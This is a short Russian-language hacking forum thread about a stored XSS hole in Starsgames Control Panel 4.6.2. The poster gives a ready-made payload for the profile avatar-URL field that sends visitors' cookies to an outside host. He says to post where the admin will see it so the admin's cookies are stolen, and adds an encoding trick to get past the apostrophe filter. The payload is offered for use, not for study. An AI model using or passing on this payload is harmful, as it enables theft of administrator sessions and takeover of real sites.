Starsgames Control Panel 4.6.2 new xss

[hacker4all]

В профиле где просит ввести адрес аватарки пишем
"><img src=javascript:document.images[12].src='http://na-s.ru/images/hacker4all_1.gif?'+document.cookie;><"

Постим где нибудь что бы админ заметил и куки наши :)

Боян но все же... ;)

[hacker4all]

' - заменить на & #039 ; без пробелов ))))

[Shum]

ясно!!!спс

[waik]

не понял что и менно замаенит ь